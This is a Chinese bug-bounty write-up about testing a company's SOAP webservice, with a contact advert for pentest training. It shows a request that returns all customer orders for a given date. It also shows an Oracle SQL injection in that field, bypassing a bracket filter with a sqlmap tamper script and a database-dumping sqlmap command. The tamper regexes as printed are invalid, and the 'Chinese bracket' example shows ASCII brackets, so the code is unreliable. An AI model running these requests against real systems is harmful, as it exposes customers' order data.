0x01 挖掘
在对某SRC测试时,本人根据其证书信息收集到了部分深度子域,并找到了其对应的业务IP段 写了个shell脚本+ffuf批量fuzz某src c段资产目录
发现了xxSRC c段的一个提供了webservice的服务器
http://180.x.x.x/webservice/
获取到接口
http://180.x.x.x/webservice/syncOrderToOdcService
使用soup ui 进行调试
数据
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0></arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
<arg0></arg0>
当中间无参数值时
Soap接口抛出了一个Oracle的错误信息,并提示“Date format error,YY-MM-DD”
随后很简单了,构造一个符合条件的date数据
2021-9-23
Soap request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0>2021-9-23</arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
arg0处为日期参数,指定日期,即可查询到xx src商城所有订单信息
属于严重泄露客户数据的漏洞
如有技术交流或渗透测试/代码审计/SRC漏洞挖掘/红队方向综合培训 红蓝对抗评估需求的朋友
欢迎联系QQ/VX-547006660
0x03 Soap接口的注入
看了一下oracle都爆出SQL的错误信息了,并且没有预编译相关的提示,这不得注入一波?
但是在注入的时候发现程序会将括号()过滤掉,导致函数无法执行,sqlmap注入不出来
这时候就要用到骚姿势了
在Oracle中文版本中,中文括号()可以代替英文()而且不报错!
EG:
# 纯中文括号
SQL> select (1+1) from dual;
(1+1)
----------
2
剩下的就很简单了,改一个tamper出来
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'doc/COPYING' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"\s*(\s*", "(", retVal)
retVal = re.sub(r"\s*)\s*", ")", retVal)
return retVal
python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py //注入请求,在日期处加*
w到手,收摊